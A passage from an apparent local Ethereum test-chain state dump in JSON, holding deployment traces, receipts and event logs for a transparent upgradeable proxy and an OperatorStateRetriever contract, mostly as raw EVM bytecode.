16101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":4,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x17dd2b","logs":[{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0xdc64a140aa3e981100a9beca4e685f962f0cf6c9","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000420000000000000000000000000000000000000000000000000000000000001000000000100000000000000"},"block_hash":"0x44a074a396a59231e218c4b92f584fef3166505bb534345f43a00160de232059","block_number":2},{"info":{"transaction_hash":"0x154e9258d0a82c45aa9cd648a79ce782024b96b4dc5934da8f62c8511b1d53f9","transaction_index":1,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xb7278a61aa25c888815afc32ad3cc52ff24fe575","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xb7278a61aa25c888815afc32ad3cc52ff24fe575","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50611dcb8061001f6000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c806331b36bd9146100675780633563b0d1146100905780634d2b57fe146100b05780634f739f74146100d05780635c155662146100f0578063cefdc1d414610110575b600080fd5b61007a6100753660046113b8565b610131565b60405161008791906114ac565b60405180910390f35b6100a361009e3660046114e8565b610245565b6040516100879190611653565b6100c36100be3660046116c4565b6106c5565b6040516100879190611713565b6100e36100de3660046117aa565b6107d2565b60405161008791906118ab565b6101036100fe366004611963565b610eea565b60405161008791906119c6565b61012361011e3660046119fe565b6110a8565b604051610087929190611a35565b606081516001600160401b0381111561014c5761014c61134f565b604051908082528060200260200182016040528015610175578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b03166313542a4e8483815181106101a5576101a5611a56565b60200260200101516040518263ffffffff1660e01b81526004016101d891906001600160a01b0391909116815260200190565b602060405180830381865afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190611a6c565b82828151811061022b5761022b611a56565b602090810291909101015260010161017b565b5092915050565b60606000846001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015610287573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ab9190611a85565b90506000856001600160a01b0316639e9923c26040518163ffffffff1660e01b8152600401602060405180830381865afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103119190611a85565b90506000866001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103779190611a85565b9050600086516001600160401b038111156103945761039461134f565b6040519080825280602002602001820160405280156103c757816020015b60608152602001906001900390816103b25790505b50905060005b87518110156106b95760008882815181106103ea576103ea611a56565b0160200151604051638902624560e01b815260f89190911c6004820181905263ffffffff8a16602483015291506000906001600160a01b03871690638902624590604401600060405180830381865afa15801561044b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104739190810190611aa2565b905080516001600160401b0381111561048e5761048e61134f565b6040519080825280602002602001820160405280156104d957816020015b60408051606081018252600080825260208083018290529282015282526000199092019101816104ac5790505b508484815181106104ec576104ec611a56565b602002602001018190525060005b81518110156106ae576040518060600160405280876001600160a01b03166347b314e885858151811061052f5761052f611a56565b60200260200101516040518263ffffffff1660e01b815260040161055591815260200190565b602060405180830381865afa158015610572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105969190611a85565b6001600160a01b031681526020018383815181106105b6576105b6611a56565b60200260200101518152602001896001600160a01b031663fa28c6278585815181106105e4576105e4611a56565b60209081029190910101516040516001600160e01b031960e084901b168152600481019190915260ff8816602482015263ffffffff8f166044820152606401602060405180830381865afa158015610640573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106649190611b37565b6001600160601b031681525085858151811061068257610682611a56565b6020026020010151828151811061069b5761069b611a56565b60209081029190910101526001016104fa565b5050506001016103cd565b50979650505050505050565b606081516001600160401b038111156106e0576106e061134f565b604051908082528060200260200182016040528015610709578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b031663296bb06484838151811061073957610739611a56565b60200260200101516040518263ffffffff1660e01b815260040161075f91815260200190565b602060405180830381865afa15801561077c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a09190611a85565b8282815181106107b2576107b2611a56565b6001600160a01b039092166020928302919091019091015260010161070f565b6107fd6040518060800160405280606081526020016060815260200160608152602001606081525090565b6000876001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108619190611a85565b905061088e6040518060800160405280606081526020016060815260200160608152602001606081525090565b6040516361c8a12f60e11b81526001600160a01b038a169063c391425e906108be908b9089908990600401611b60565b600060405180830381865afa1580156108db573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109039190810190611ba7565b81526040516340e03a8160e11b81526001600160a01b038316906381c0750290610935908b908b908b90600401611c64565b600060405180830381865afa158015610952573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261097a9190810190611ba7565b6040820152856001600160401b038111156109975761099761134f565b6040519080825280602002602001820160405280156109ca57816020015b60608152602001906001900390816109b55790505b50606082015260005b60ff8116871115610dfb576000856001600160401b038111156109f8576109f861134f565b604051908082528060200260200182016040528015610a21578160200160208202803683370190505b5083606001518360ff1681518110610a3b57610a3b611a56565b602002602001018190525060005b86811015610d055760008c6001600160a01b03166304ec63518a8a85818110610a7457610a74611a56565b905060200201358e88600001518681518110610a9257610a92611a56565b60200260200101516040518463ffffffff1660e01b8152600401610acf9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611c8d565b9050806001600160c01b0316600003610bbb5760405162461bcd60e51b815260206004820152605c60248201527f4f70657261746f7253746174655265747269657665722e676574436865636b5360448201527f69676e617475726573496e64696365733a206f70657261746f72206d7573742060648201527f6265207265676973746572656420617420626c6f636b6e756d62657200000000608482015260a40160405180910390fd5b8a8a8560ff16818110610bd057610bd0611a56565b60016001600160c01b038516919093013560f81c1c82169091039050610cfc57856001600160a01b031663dd9846b98a8a85818110610c1157610c11611a56565b905060200201358d8d8860ff16818110610c2d57610c2d611a56565b6040516001600160e01b031960e087901b1681526004810194909452919091013560f81c60248301525063ffffffff8f166044820152606401602060405180830381865afa158015610c83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca79190611cb6565b85606001518560ff1681518110610cc057610cc0611a56565b60200260200101518481518110610cd957610cd9611a56565b63ffffffff9092166020928302919091019091015282610cf881611ce9565b9350505b50600101610a49565b506000816001600160401b03811115610d2057610d2061134f565b604051908082528060200260200182016040528015610d49578160200160208202803683370190505b50905060005b82811015610dc05784606001518460ff1681518110610d7057610d70611a56565b60200260200101518181518110610d8957610d89611a56565b6020026020010151828281518110610da357610da3611a56565b63ffffffff90921660209283029190910190910152600101610d4f565b508084606001518460ff1681518110610ddb57610ddb611a56565b602002602001018190525050508080610df390611d02565b9150506109d3565b506000896001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e609190611a85565b60405163354952a360e21b81529091506001600160a01b0382169063d5254a8c90610e93908b908b908e90600401611d21565b600060405180830381865afa158015610eb0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610ed89190810190611ba7565b60208301525098975050505050505050565b60606000846001600160a01b031663c391425e84866040518363ffffffff1660e01b8152600401610f1c929190611d4b565b600060405180830381865afa158015610f39573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610f619190810190611ba7565b9050600084516001600160401b03811115610f7e57610f7e61134f565b604051908082528060200260200182016040528015610fa7578160200160208202803683370190505b50905060005b855181101561109e57866001600160a01b03166304ec6351878381518110610fd757610fd7611a56565b602002602001015187868581518110610ff257610ff2611a56565b60200260200101516040518463ffffffff1660e01b815260040161102f9392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa15801561104c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110709190611c8d565b6001600160c01b031682828151811061108b5761108b611a56565b6020908102919091010152600101610fad565b5095945050505050565b60408051600180825281830190925260009160609183916020808301908036833701905050905084816000815181106110e3576110e3611a56565b60209081029190910101526040516361c8a12f60e11b81526000906001600160a01b0388169063c391425e9061111f9088908690600401611d4b565b600060405180830381865afa15801561113c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526111649190810190611ba7565b60008151811061117657611176611a56565b60209081029190910101516040516304ec635160e01b81526004810188905263ffffffff87811660248301529091166044820181905291506000906001600160a01b038916906304ec635190606401602060405180830381865afa1580156111e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112069190611c8d565b6001600160c01b03169050600061121c8261123a565b90508161122a8a838a610245565b9550955050505050935093915050565b606060008061124884611306565b61ffff166001600160401b038111156112635761126361134f565b6040519080825280601f01601f19166020018201604052801561128d576020820181803683370190505b5090506000805b8251821080156112a5575061010081105b156112fc576001811b9350858416156112ec578060f81b8383815181106112ce576112ce611a56565b60200101906001600160f81b031916908160001a9053508160010191505b6112f581611ce9565b9050611294565b5090949350505050565b6000805b82156113315761131b600184611d6a565b909216918061132981611d7d565b91505061130a565b92915050565b6001600160a01b038116811461134c57600080fd5b50565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f191681016001600160401b038111828210171561138d5761138d61134f565b604052919050565b60006001600160401b038211156113ae576113ae61134f565b5060051b60200190565b600080604083850312156113cb57600080fd5b82356113d681611337565b915060208301356001600160401b038111156113f157600080fd5b8301601f8101851361140257600080fd5b803561141561141082611395565b611365565b8082825260208201915060208360051b85010192508783111561143757600080fd5b6020840193505b8284101561146257833561145181611337565b82526020938401939091019061143e565b809450505050509250929050565b600081518084526020840193506020830160005b828110156114a2578151865260209586019590910190600101611484565b5093949350505050565b6020815260006114bf6020830184611470565b9392505050565b63ffffffff8116811461134c57600080fd5b80356114e3816114c6565b919050565b6000806000606084860312156114fd57600080fd5b833561150881611337565b925060208401356001600160401b0381111561152357600080fd5b8401601f8101861361153457600080fd5b80356001600160401b0381111561154d5761154d61134f565b611560601f8201601f1916602001611365565b81815287602083850101111561157557600080fd5b8160208401602083013760006020838301015280945050505061159a604085016114d8565b90509250925092565b600082825180855260208501945060208160051b8301016020850160005b8381101561164757848303601f190188528151805180855260209182019185019060005b8181101561162e57835180516001600160a01b03168452602080820151818601526040918201516001600160601b031691850191909152909301926060909201916001016115e5565b50506020998a01999094509290920191506001016115c1565b50909695505050505050565b6020815260006114bf60208301846115a3565b600082601f83011261167757600080fd5b813561168561141082611395565b8082825260208201915060208360051b8601019250858311156116a757600080fd5b602085015b8381101561109e5780358352602092830192016116ac565b600080604083850312156116d757600080fd5b82356116e281611337565b915060208301356001600160401b038111156116fd57600080fd5b61170985828601611666565b9150509250929050565b602080825282518282018190526000918401906040840190835b818110156117545783516001600160a01b031683526020938401939092019160010161172d565b509095945050505050565b60008083601f84011261177157600080fd5b5081356001600160401b0381111561178857600080fd5b6020830191508360208260051b85010111156117a357600080fd5b9250929050565b600080600080600080608087890312156117c357600080fd5b86356117ce81611337565b955060208701356117de816114c6565b945060408701356001600160401b038111156117f957600080fd5b8701601f8101891361180a57600080fd5b80356001600160401b0381111561182057600080fd5b89602082840101111561183257600080fd5b6020919091019450925060608701356001600160401b0381111561185557600080fd5b61186189828a0161175f565b979a9699509497509295939492505050565b600081518084526020840193506020830160005b828110156114a257815163ffffffff16865260209586019590910190600101611887565b6020815260008251608060208401526118c760a0840182611873565b90506020840151601f198483030160408501526118e48282611873565b9150506040840151601f198483030160608501526119028282611873565b6060860151858203601f190160808701528051808352919350602090810192508084019190600582901b85010160005b828110156106b957601f1986830301845261194e828651611873565b60209586019594909401939150600101611932565b60008060006060848603121561197857600080fd5b833561198381611337565b925060208401356001600160401b0381111561199e57600080fd5b6119aa86828701611666565b92505060408401356119bb816114c6565b809150509250925092565b602080825282518282018190526000918401906040840190835b818110156117545783518352602093840193909201916001016119e0565b600080600060608486031215611a1357600080fd5b8335611a1e81611337565b92506020840135915060408401356119bb816114c6565b828152604060208201526000611a4e60408301846115a3565b949350505050565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611a7e57600080fd5b5051919050565b600060208284031215611a9757600080fd5b81516114bf81611337565b600060208284031215611ab457600080fd5b81516001600160401b03811115611aca57600080fd5b8201601f81018413611adb57600080fd5b8051611ae961141082611395565b8082825260208201915060208360051b850101925086831115611b0b57600080fd5b6020840193505b82841015611b2d578351825260209384019390910190611b12565b9695505050505050565b600060208284031215611b4957600080fd5b81516001600160601b03811681146114bf57600080fd5b63ffffffff84168152604060208201819052810182905260006001600160fb1b03831115611b8d57600080fd5b8260051b8085606085013791909101606001949350505050565b600060208284031215611bb957600080fd5b81516001600160401b03811115611bcf57600080fd5b8201601f81018413611be057600080fd5b8051611bee61141082611395565b8082825260208201915060208360051b850101925086831115611c1057600080fd5b6020840193505b82841015611b2d578351611c2a816114c6565b825260209384019390910190611c17565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b63ffffffff84168152604060208201526000611c84604083018486611c3b565b95945050505050565b600060208284031215611c9f57600080fd5b81516001600160c01b03811681146114bf57600080fd5b600060208284031215611cc857600080fd5b81516114bf816114c6565b634e487b7160e01b600052601160045260246000fd5b600060018201611cfb57611cfb611cd3565b5060010190565b600060ff821660ff8103611d1857611d18611cd3565b60010192915050565b604081526000611d35604083018587611c3b565b905063ffffffff83166020830152949350505050565b63ffffffff83168152604060208201526000611a4e6040830184611470565b8181038181111561133157611331611cd3565b600061ffff821661ffff8103611d1857611d18611cd356fea26469706673582212203ceaa31e26ee89f9b04510d27276b123d7e9898815c3676df946ec33eef62bb664736f6c634300081c0033","output":"0x608060405234801561001057600080fd5b50600436106100625760003560e01c806331b36bd9146100675780633563b0d1146100905780634d2b57fe146100b05780634f739f74146100d05780635c155662146100f0578063cefdc1d414610110575b600080fd5b61007a6100753660046113b8565b610131565b60405161008791906114ac565b60405180910390f35b6100a361009e3660046114e8565b610245565b6040516100879190611653565b6100c36100be3660046116c4565b6106c5565b6040516100879190611713565b6100e36100de3660046117aa565b6107d2565b60405161008791906118ab565b6101036100fe366004611963565b610eea565b60405161008791906119c6565b61012361011e3660046119fe565b6110a8565b604051610087929190611a35565b606081516001600160401b0381111561014c5761014c61134f565b604051908082528060200260200182016040528015610175578160200160208202803683370190505b50905060005b825181101561023e57836001600160a01b03166313542a4e8483815181106101a5576101a5611a56565b60200260200101516040518263ffffffff1660e01b81526004016101d891906001600160a01b0391909116815260200190565b602060405180830381865afa1580156101f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102199190611a6c565b82828151811061022b5761022b611a56565b602090810291909101015260010161017b565b5092915050565b60606000846001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015610287573d60